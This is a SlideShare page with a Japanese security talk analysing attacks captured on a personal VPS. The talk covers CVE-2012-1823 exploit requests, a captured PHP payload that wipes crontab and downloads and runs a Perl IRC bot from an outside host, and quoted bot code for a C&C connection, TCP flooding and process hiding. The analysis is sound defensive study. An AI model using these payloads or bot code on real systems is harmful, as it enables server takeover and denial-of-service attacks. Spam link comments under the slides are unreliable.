Se ha denunciado esta presentación.
Utilizamos tu perfil de LinkedIn y tus datos de actividad para personalizar los anuncios y mostrarte publicidad más relevante. Puedes cambiar tus preferencias de publicidad en cualquier momento.
さくらのVPSに来た、いろ
いろアタック観察記
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 1
"GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404...
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 2
• @ozuma5119
• ネット企業でセキュリティサービスを
やっているエンジニア
• http://d.hatena.ne.jp/ozuma/
• 科学写真家(と名...
はじめに
• この中で話すこと
– OSやミドルウェアの脆弱性とかよくITニュース
サイトに載ってるけど、放っておくとどうなる
の?
• 今日話さないこと
– セキュアなサーバ構築の具体的手法、など
– それはまぁ、色々と教科書的なものがあるの...
話すことの概要
• 個人で借りているさくらのVPSにいろいろ
来るので、その攻撃を観察してみた
– 悪いことしてる人たちがどうしようとしてい
るかが、なんとなくかいま見えた。ので誰か
に言いたくなった
• ボットネット。
– クラウド流行りで世...
ボットネット?
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 5
「ボットネットからの保護」http://www.microsoft.com/ja-jp/security/pc-security/botnet.aspx ...
ボットネットのクラウド化
• ボットネット自体は7,8年くらい前から登
場している
• 一般ユーザのPCをマルウェア感染させ、
ボットネットに組み込んでいる
– ボットネットはIRCを使って、C&C(コマンド&
コントロール)サーバから指示を受...
こんなん見ました・その1
• サーバ管理ソフトPlesk Panelの脆弱性を
放っておくとどうなるか。
– PHPの脆弱性でもあるんだけど
– /phppath/php のおはなし
さくらのVPSに来たいろいろアタック観察記 (@ozuma5...
最近よく見るhttpdのログ
• みなさんも見ましたか。見てませんか。
• あちこちのWebサーバ複数で同じリクエス
トが見られたので、相当広範囲にスキャ
ンしてたようです
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) ...
ちなみにリクエスト元は
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 9
アクセス日時 ソースIP 逆引きしたホスト名 国名
01/Jul/2013:01:30:21 74.208.202.77
u16950462.on...
まずはリクエストされたパスを
分かりやすくする
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 10
66.160.128.164 - - [31/Jul/2013:18:46:17 +0900] "POST
/%70%6...
見やすくすると
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 11
POST /phppath/php?-d allow_url_include=on
-d safe_mode=off
-d suhosin.simula...
Parallels Plesk Panel 9
• サーバ管理のWebツールとして広く利用さ
れており、Apache+PHPが同梱されている
• 以下のような設定がhttpd.confに設定され
ている豪快なつくり
– ScriptAlias ...
CVE-2012-1823 脆弱性
• CGI版PHPの脆弱性
• PHPのオプションとしてGETパラメタがそ
のまま渡ってしまう
• Plesk Panel 9のPHPにもこの脆弱性アリ
さくらのVPSに来たいろいろアタック観察記 (@ozu...
CVE-2012-1823 脆弱性その2
• オプションを組み合わせると、POSTリク
エストのbody部をそのままサーバ上でPHP
スクリプトとして実行できてしまう
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 14
...
CVE-2012-1823 脆弱性その3
• つまり以下のような感じのPOSTを投げつ
けるだけで、お好きなPHPスクリプトを
サーバ上で実行させることができる
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 15
POS...
何を実行しようとしている?
• ということは、このアクセスも、悪い人
がサーバで実行しようとしているPHPスク
リプト本体がPOSTされてきているのだろ
う
– それは見てみたい!
• アクセスログだけ見ていてもつまらない
ので、tcpdump...
待つこと数日、ktkr
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 17
脆弱性スキャンされている
• "___2pac" という文字列をechoしているだけ
• おそらくレスポンスボディにこの文字列があ
るサーバをスキャンして探しているのだろう
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) ...
脆弱性があるフリをしてみる
• POSTされたら上記CGIにRewriteする。(ち
なみにサーバにPHPはインストールすらし
てない)
• これで悪い人は「脆弱性あり」と判断し
て、続けて本番の攻撃スクリプトを送り
込んでくるはず →→ 来た...
攻撃は0.5秒後
• 1行目が"___2pac"をechoさせるPHPをPOST
• 2行目が本番の攻撃スクリプト
• 脆弱性アリと判断後、1秒も経たずに攻撃
– しかも攻撃元の 210.188.206.176はSAKURA Internet
...
POSTされた攻撃スクリプト
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 21
<?php
echo "Content-Type:text/htmlrnrn";
echo "OKn";
system("crontab ...
脱線:crontab –r の恐怖
• crontab –e と間違えて crontab –r すると、何
の警告もなく全てが消え失せる
– crontab –e 禁止令を出す人もいる (/etc/crontabだ
け使う)
さくらのVPSに来...
さらに攻撃スクリプトをダウン
ロードしている
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 23
<?php
echo "Content-Type:text/htmlrnrn";
echo "OKn";
system("...
bpn - Perlbot抜粋
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 24
#!/usr/bin/perl
my $processo
=("suid","/usr/sbin/sshd","rpc.idmapd",...
ダウンロードしたbpn
• これはPerlBotとか言われてる有名なもの
– しかしソースコードは稚拙な部分も多い
• ボットネットのC&C(コマンド&コントロー
ル)サーバにIRC接続し、指示を待つ
• 興味ある方は以下へ置いてあります
– ...
Perlbot抜粋 その2
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 26
sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $port...
Perlbot抜粋 その3
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 27
sub tcpflooder {
my $itime = time;
my ($cur_time);
my ($ia,$pa,$proto,...
Perlbot概要
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 28
• C&Cサーバから以下のような感じで指令を
受けてDoS攻撃をする
– IRCの指定されたチャンネルに接続する
– 指令者のnickから攻撃先の指...
C&Cサーバを覗いてみると
• Perlbotスクリプトで指定されていたC&C
サーバを覗いてみる(危険)
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 29
$ telnet 209.20.83.28 53
Tryin...
今回の攻撃のまとめ
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 30
攻撃を追ってみて分かったこと
• 最終目的はサーバを乗っ取ってボット
ネットに組み込むこと(そしてよそを攻
撃すること)
• 脆弱性スキャン役、攻撃役、スクリプト
配布役、制御役(C&Cサーバ)、全てが別
サーバで[分業]されている
• それぞ...
Perlbot (bpn)に見る小ネタ
• せっかくなので、さっき仕込まれそうに
なったbpnスクリプト(Perlbot)のソース
コードを読んでみて、そこから学ぶこと
はないか
– ポジティブシンキングしよう。
さくらのVPSに来たいろいろア...
Perlbotに見る小ネタ1
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 33
#!/usr/bin/perl
my $processo
=("suid","/usr/sbin/sshd","rpc.idmapd","...
$0 に値を入れないと
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 34
Perlスクリプト実行中なことがバレバレ
$0 に値を入れると
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 35
psコマンドの出力が$0の値に化けて見つか
りにくい
$0 に値を入れる(FreeBSD)
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 36
ちなみにFreeBSDだと後ろに (perl5.x.x) が
付くのでバレバレです
Perlbotに見る小ネタ2
• シグナルをトラップしている
– 簡単にkillできないようになっている
• Perlでは%SIGに'IGNORE'とすると、該当シ
グナルを無視することができる
– すなわちkill –KILLでしか終了できな...
Perlでのシグナル操作
• ちなみにこんな感じでkillを受け取ったら
実行されるサブルーチンも設定できる
– 作業ファイルを操作するとか。
– これがまっとうな使い方
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 3...
Perlでのシグナル操作
• ちなみにこういうのを調べるときはうま
くmanとperldocを使いましょう
– すぐにググらずまずは公式ドキュメントを。
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 39
$ perld...
Perlbotに見る小ネタ3
• サーバを$serverじゃなくて$servidorと書い
ている
• 他にも $porta, $versao, $processo など
• スペイン語かポルトガル語っぽいけど
どっち?
– これどっちも似てい...
攻撃スクリプトに透けてみえる
「中の人」
• スペイン語かポルトガル語かは、Version,
port, あたりを見ると分かりやすい
– Perlbotはポルトガル語のようです
• 元のソースを書いた「中の人」を想像す
ることで、悪い人の姿がち...
Próxima SlideShare
Cargando en…5
×

さくらのVPSに来た攻撃観察記

22.189 visualizaciones

Publicado el

個人で借りているさくらのVPSに色々とアタックが来るので、観察してみました。

2013/09/16の、「すみだITセキュリティ勉強会その1」の発表資料。
http://atnd.org/events/42977

Publicado en: Noticias y política
  • Government auctions are cool. We got a great deal on a quality car that we wanted. Awesome! ☞☞☞ https://w.url.cn/s/A9eBVEi
       Responder 
    ¿Estás seguro?    No
    Tu mensaje aparecerá aquí
  • Hi there! I just wanted to share a list of sites that helped me a lot during my studies: .................................................................................................................................... www.EssayWrite.best - Write an essay .................................................................................................................................... www.LitReview.xyz - Summary of books .................................................................................................................................... www.Coursework.best - Online coursework .................................................................................................................................... www.Dissertations.me - proquest dissertations .................................................................................................................................... www.ReMovie.club - Movies reviews .................................................................................................................................... www.WebSlides.vip - Best powerpoint presentations .................................................................................................................................... www.WritePaper.info - Write a research paper .................................................................................................................................... www.EddyHelp.com - Homework help online .................................................................................................................................... www.MyResumeHelp.net - Professional resume writing service .................................................................................................................................. www.HelpWriting.net - Help with writing any papers ......................................................................................................................................... Save so as not to lose
       Responder 
    ¿Estás seguro?    No
    Tu mensaje aparecerá aquí
  • Sex in your area is here: ♥♥♥ http://bit.ly/369VOVb ♥♥♥
       Responder 
    ¿Estás seguro?    No
    Tu mensaje aparecerá aquí
  • Follow the link, new dating source: ❶❶❶ http://bit.ly/369VOVb ❶❶❶
       Responder 
    ¿Estás seguro?    No
    Tu mensaje aparecerá aquí
  • ACCESS that WEBSITE Over for All Ebooks (Unlimited) ......................................................................................................................... DOWNLOAD FULL PDF EBOOK here { http://bit.ly/2m77EgH } ......................................................................................................................... DOWNLOAD FULL EPUB Ebook here { http://bit.ly/2m77EgH } ......................................................................................................................... Download Full PDF EBOOK here { http://bit.ly/2m77EgH } ......................................................................................................................... Download EPUB Ebook here { http://bit.ly/2m77EgH }
       Responder 
    ¿Estás seguro?    No
    Tu mensaje aparecerá aquí

さくらのVPSに来た攻撃観察記

  1. 1. さくらのVPSに来た、いろ いろアタック観察記 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 1 "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 318 "-" "ZmEu" "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 "-" "ZmEu" "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 305 "-" "ZmEu" "GET /pma/scripts/setup.php HTTP/1.1" 404 298 "-" "ZmEu" 66.160.128.164 - - [31/Jul/2013:18:46:17 +0900] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%7 7%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%6 4+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73 %75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E% 3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63 %74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%6 1%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F% 5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A %2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 288 "-" "-" 2013/10/6 すみだITセキュリティ勉強会 @ozuma5119
  2. 2. さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 2 • @ozuma5119 • ネット企業でセキュリティサービスを やっているエンジニア • http://d.hatena.ne.jp/ozuma/ • 科学写真家(と名乗っている) 自己紹介
  3. 3. はじめに • この中で話すこと – OSやミドルウェアの脆弱性とかよくITニュース サイトに載ってるけど、放っておくとどうなる の? • 今日話さないこと – セキュアなサーバ構築の具体的手法、など – それはまぁ、色々と教科書的なものがあるのでこ こでわざわざ話すこと無いかな、と…… – でも普通の教科書にはほとんど載ってない話をす るので楽しんでいただけると。思います。たぶん。 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 3 LPIC 「Linuxセキュリティ標準教科書」 http://www.lpi.or.jp/linuxtext/security.shtml
  4. 4. 話すことの概要 • 個人で借りているさくらのVPSにいろいろ 来るので、その攻撃を観察してみた – 悪いことしてる人たちがどうしようとしてい るかが、なんとなくかいま見えた。ので誰か に言いたくなった • ボットネット。 – クラウド流行りで世界中にとてもたくさんの 「野良サーバ」ができたので、悪い人達は、 うひょうひょ言いながら狙ってる さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 4
  5. 5. ボットネット? さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 5 「ボットネットからの保護」http://www.microsoft.com/ja-jp/security/pc-security/botnet.aspx より引用
  6. 6. ボットネットのクラウド化 • ボットネット自体は7,8年くらい前から登 場している • 一般ユーザのPCをマルウェア感染させ、 ボットネットに組み込んでいる – ボットネットはIRCを使って、C&C(コマンド& コントロール)サーバから指示を受け取る • ボットネット構成マシンとして、最近は、 一般ユーザのPCより、性能的にもネット ワーク的にも有利なVPSやクラウドサーバ を狙うものが多い さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 6
  7. 7. こんなん見ました・その1 • サーバ管理ソフトPlesk Panelの脆弱性を 放っておくとどうなるか。 – PHPの脆弱性でもあるんだけど – /phppath/php のおはなし さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 7
  8. 8. 最近よく見るhttpdのログ • みなさんも見ましたか。見てませんか。 • あちこちのWebサーバ複数で同じリクエス トが見られたので、相当広範囲にスキャ ンしてたようです さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 8 66.160.128.164 - - [31/Jul/2013:18:46:17 +0900] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%7 7%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%6 4+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73 %75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E% 3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63 %74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%6 1%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F% 5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A %2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 288 "-" "-"
  9. 9. ちなみにリクエスト元は さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 9 アクセス日時 ソースIP 逆引きしたホスト名 国名 01/Jul/2013:01:30:21 74.208.202.77 u16950462.onlinehome- server.com アメリカ 08/Jul/2013:05:51:32 117.120.2.111 (なし) シンガポール 19/Jul/2013:00:25:47 87.255.55.11 (なし) オランダ 24/Jul/2013:18:06:52 62.148.186.34 62-148-186-34-hosted- by.denit.net オランダ 31/Jul/2013:18:46:17 66.160.128.16 4 (なし) アメリカ 01/Aug/2013:11:01:22 114.141.196.2 8 svr1.gardenexpress.com.au オーストラリ ア 08/Aug/2013:12:17:33 67.205.102.43 bceco.cd カナダ • ざっくり一週間おき? • 中国からは一件も無かった。意外。
  10. 10. まずはリクエストされたパスを 分かりやすくする さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 10 66.160.128.164 - - [31/Jul/2013:18:46:17 +0900] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%7 7%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%6 4+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73 %75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E% 3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63 %74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%6 1%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F% 5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A %2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 288 "-" "-" /phppath/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -n ↓URLデコードします
  11. 11. 見やすくすると さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 11 POST /phppath/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -n • 見やすくするため改行も入れるとこうな る – Parallels Plesk Panelを狙っている – PHPの脆弱性(CVE-2012-1823)を狙っている
  12. 12. Parallels Plesk Panel 9 • サーバ管理のWebツールとして広く利用さ れており、Apache+PHPが同梱されている • 以下のような設定がhttpd.confに設定され ている豪快なつくり – ScriptAlias /phppath/ /usr/bin/ • 同梱されているPHPは古いCGI版PHP – これが悲劇を招く さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 12
  13. 13. CVE-2012-1823 脆弱性 • CGI版PHPの脆弱性 • PHPのオプションとしてGETパラメタがそ のまま渡ってしまう • Plesk Panel 9のPHPにもこの脆弱性アリ さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 13 例)ソースコードがそのまま表示されてしまう http://192.168.1.1/important/apl.php?-s $ man php --syntax-highlight -s Output HTML syntax highlighted source
  14. 14. CVE-2012-1823 脆弱性その2 • オプションを組み合わせると、POSTリク エストのbody部をそのままサーバ上でPHP スクリプトとして実行できてしまう さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 14 /phppath/php?-d allow_url_include=on -d auto_prepend_file=php://input • allow_url_include : 外部からのinclude許可 • auto_prepend_file : 開発時などに用いるパラ メタで、スクリプト実行前に、指定したファ イルをrequireして実行する
  15. 15. CVE-2012-1823 脆弱性その3 • つまり以下のような感じのPOSTを投げつ けるだけで、お好きなPHPスクリプトを サーバ上で実行させることができる さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 15 POST /phppath/php?-d allow_url_include=on -d auto_prepend_file=php://input HTTP/1.1 Host: www.example.org Content-Length: xxxx <?php readfile('/etc/passwd'); ?> 参考URL http://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html
  16. 16. 何を実行しようとしている? • ということは、このアクセスも、悪い人 がサーバで実行しようとしているPHPスク リプト本体がPOSTされてきているのだろ う – それは見てみたい! • アクセスログだけ見ていてもつまらない ので、tcpdumpしてPOSTリクエストのボ ディ部(= 実行しようとしているPHPスクリ プト)を見てみる さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 16
  17. 17. 待つこと数日、ktkr さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 17
  18. 18. 脆弱性スキャンされている • "___2pac" という文字列をechoしているだけ • おそらくレスポンスボディにこの文字列があ るサーバをスキャンして探しているのだろう さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 18 POST /%70%68%70%70%6(省略) HTTP/1.1 Host: 49.212.197.88 Content-Type: application/x-www-form-urlencoded Content-Length: 64 <?php echo "Content-Type:text/htmlrnrn";echo "___2pacn"; ?>
  19. 19. 脆弱性があるフリをしてみる • POSTされたら上記CGIにRewriteする。(ち なみにサーバにPHPはインストールすらし てない) • これで悪い人は「脆弱性あり」と判断し て、続けて本番の攻撃スクリプトを送り 込んでくるはず →→ 来た。 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 19 #!/usr/bin/perl print "Content-Type:text/htmlrnrn"; print "___2pacn";
  20. 20. 攻撃は0.5秒後 • 1行目が"___2pac"をechoさせるPHPをPOST • 2行目が本番の攻撃スクリプト • 脆弱性アリと判断後、1秒も経たずに攻撃 – しかも攻撃元の 210.188.206.176はSAKURA Internet – 偶然? 地理的に近いサーバを自動選択? さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 20 67.205.102.43 - - [08/Aug/2013:12:17:33 +0900] "POST /%70%68(省略) HTTP/1.1" 200 8 "-" "-" 210.188.206.176 - - [08/Aug/2013:12:17:33 +0900] "POST /%70%68(省略) HTTP/1.1" 200 8 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
  21. 21. POSTされた攻撃スクリプト さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 21 <?php echo "Content-Type:text/htmlrnrn"; echo "OKn"; system("crontab -r; cd /tmp; rm -fr bpn*; wget http://188.165.242.15/bpn -q; perl bpn >/dev/null 1>/dev/null 2>/dev/null; rm -fr bpn*"); ?> • system関数内でUNIXコマンドを実行した いようです
  22. 22. 脱線:crontab –r の恐怖 • crontab –e と間違えて crontab –r すると、何 の警告もなく全てが消え失せる – crontab –e 禁止令を出す人もいる (/etc/crontabだ け使う) さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 22 macbook:~ ozuma$ crontab -l 15 * * * * /home/ozuma/bin/hoge.sh 0 9 1 * * /home/ozuma/bin/piyo.sh > /dev/null 2>&1 */5 * * * * /home/ozuma/bin/fuga.sh > /dev/null 2>&1 macbook:~ ozuma$ crontab -r macbook:~ ozuma$ crontab -l crontab: no crontab for ozuma macbook:~ ozuma$
  23. 23. さらに攻撃スクリプトをダウン ロードしている さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 23 <?php echo "Content-Type:text/htmlrnrn"; echo "OKn"; system("crontab -r; cd /tmp; rm -fr bpn*; wget http://188.165.242.15/bpn -q; perl bpn >/dev/null 1>/dev/null 2>/dev/null; rm -fr bpn*"); ?> • そこでこのbpnを手でwgetしてみた 188.165.242.15はOVH SAS(フラ ンスのホスティング業者)
  24. 24. bpn - Perlbot抜粋 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 24 #!/usr/bin/perl my $processo =("suid","/usr/sbin/sshd","rpc.idmapd","auditd","crond","klogd -x"); my @titi = ("index.php?page=","main.php?page="); my $goni = $titi[rand scalar @titi]; my $linas_max='3'; my $sleep='7'; my @adms=("LaCannA","amd-64bit" ); my @hostauth=("lacannabiscaffe.smok","amd.de.lacannabiscaffe.smok"); my @canais=("#coffeeshop"); chop (my $nick = `uname`); my $ircname =("weed"); my $realname = ("mary"); $servidor="209.20.83.28" unless $servidor; my $porta='53'; 209.20.83.28 : Rackspace Hosting (アメリカのホスティング会社) ポート53
  25. 25. ダウンロードしたbpn • これはPerlBotとか言われてる有名なもの – しかしソースコードは稚拙な部分も多い • ボットネットのC&C(コマンド&コントロー ル)サーバにIRC接続し、指示を待つ • 興味ある方は以下へ置いてあります – http://txt2url.com/d532f7a995b287eca6f7f2c527ba0bd5 • SANSの解説記事が参考になります – http://handlers.sans.org/jullrich/perlbot.html さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 25
  26. 26. Perlbot抜粋 その2 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 26 sub conectar { my $meunick = $_[0]; my $servidor_con = $_[1]; my $porta_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_cliente->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; C&Cサーバ接続機能(IRC)
  27. 27. Perlbot抜粋 その3 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 27 sub tcpflooder { my $itime = time; my ($cur_time); my ($ia,$pa,$proto,$j,$l,$t); $ia=inet_aton($_[0]); $pa=sockaddr_in($_[1],$ia); $ftime=$_[2]; $proto=getprotobyname('tcp'); $j=0;$l=0; $cur_time = time - $itime; while ($l<1000){ $cur_time = time - $itime; last if $cur_time >= $ftime; $t="SOCK$l"; socket($t,PF_INET,SOCK_STREAM,$proto); connect($t,$pa)||$j--; $j++;$l++; } DoS攻撃機能
  28. 28. Perlbot概要 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 28 • C&Cサーバから以下のような感じで指令を 受けてDoS攻撃をする – IRCの指定されたチャンネルに接続する – 指令者のnickから攻撃先の指示がIRCのチャッ トで送信されるため、それを元にDoS攻撃を おこなう • なぜIRCなのか? – 多数のクライアントに伝達しやすい – あとはまぁ、「ボットネットの伝統」
  29. 29. C&Cサーバを覗いてみると • Perlbotスクリプトで指定されていたC&C サーバを覗いてみる(危険) さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 29 $ telnet 209.20.83.28 53 Trying 209.20.83.28... Connected to 209-20-83-28.static.cloud-ips.com. Escape character is '^]'. :irc.sudominio.org NOTICE AUTH :*** Looking up your hostname... :irc.sudominio.org NOTICE AUTH :*** Found your hostname
  30. 30. 今回の攻撃のまとめ さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 30
  31. 31. 攻撃を追ってみて分かったこと • 最終目的はサーバを乗っ取ってボット ネットに組み込むこと(そしてよそを攻 撃すること) • 脆弱性スキャン役、攻撃役、スクリプト 配布役、制御役(C&Cサーバ)、全てが別 サーバで[分業]されている • それぞれのサーバはクラウドやVPSなどの 「野良サーバ」が有効活用されている – 昔は一般ユーザのPCが多かったが…… さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 31
  32. 32. Perlbot (bpn)に見る小ネタ • せっかくなので、さっき仕込まれそうに なったbpnスクリプト(Perlbot)のソース コードを読んでみて、そこから学ぶこと はないか – ポジティブシンキングしよう。 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 32
  33. 33. Perlbotに見る小ネタ1 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 33 #!/usr/bin/perl my $processo =("suid","/usr/sbin/sshd","rpc.idmapd","auditd","crond","klogd -x"); ... (省略) ... $0="$processo"."¥0"x16;; • C&Cに接続して常駐するプロセスなので、発 見されにくくするための工夫がある。 • それがPerlの特殊変数 $0 への代入 – なぜセミコロンが2つあるかは謎だ。気にするな
  34. 34. $0 に値を入れないと さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 34 Perlスクリプト実行中なことがバレバレ
  35. 35. $0 に値を入れると さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 35 psコマンドの出力が$0の値に化けて見つか りにくい
  36. 36. $0 に値を入れる(FreeBSD) さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 36 ちなみにFreeBSDだと後ろに (perl5.x.x) が 付くのでバレバレです
  37. 37. Perlbotに見る小ネタ2 • シグナルをトラップしている – 簡単にkillできないようになっている • Perlでは%SIGに'IGNORE'とすると、該当シ グナルを無視することができる – すなわちkill –KILLでしか終了できなくなる さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 37 $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE';
  38. 38. Perlでのシグナル操作 • ちなみにこんな感じでkillを受け取ったら 実行されるサブルーチンも設定できる – 作業ファイルを操作するとか。 – これがまっとうな使い方 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 38 #!/usr/bin/perl ... ... $SIG{'TERM'} = sub { die("Killed by SIGTERM.¥n"); };
  39. 39. Perlでのシグナル操作 • ちなみにこういうのを調べるときはうま くmanとperldocを使いましょう – すぐにググらずまずは公式ドキュメントを。 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 39 $ perldoc –q signal $ perldoc perlfaq8 $ perldoc perlipc $ man –aw signal $ man 7 signal
  40. 40. Perlbotに見る小ネタ3 • サーバを$serverじゃなくて$servidorと書い ている • 他にも $porta, $versao, $processo など • スペイン語かポルトガル語っぽいけど どっち? – これどっちも似ているのでむつかしい – どちらの言語でもサーバはservidorなので区別 できない さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 40 $servidor="209.20.83.28" unless $servidor;
  41. 41. 攻撃スクリプトに透けてみえる 「中の人」 • スペイン語かポルトガル語かは、Version, port, あたりを見ると分かりやすい – Perlbotはポルトガル語のようです • 元のソースを書いた「中の人」を想像す ることで、悪い人の姿がちょっぴり透け て見える気がしませんか。私はします。 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 41 スペイン語 ポルトガル語 バージョン Versión Versão ポート Puerto Porta

×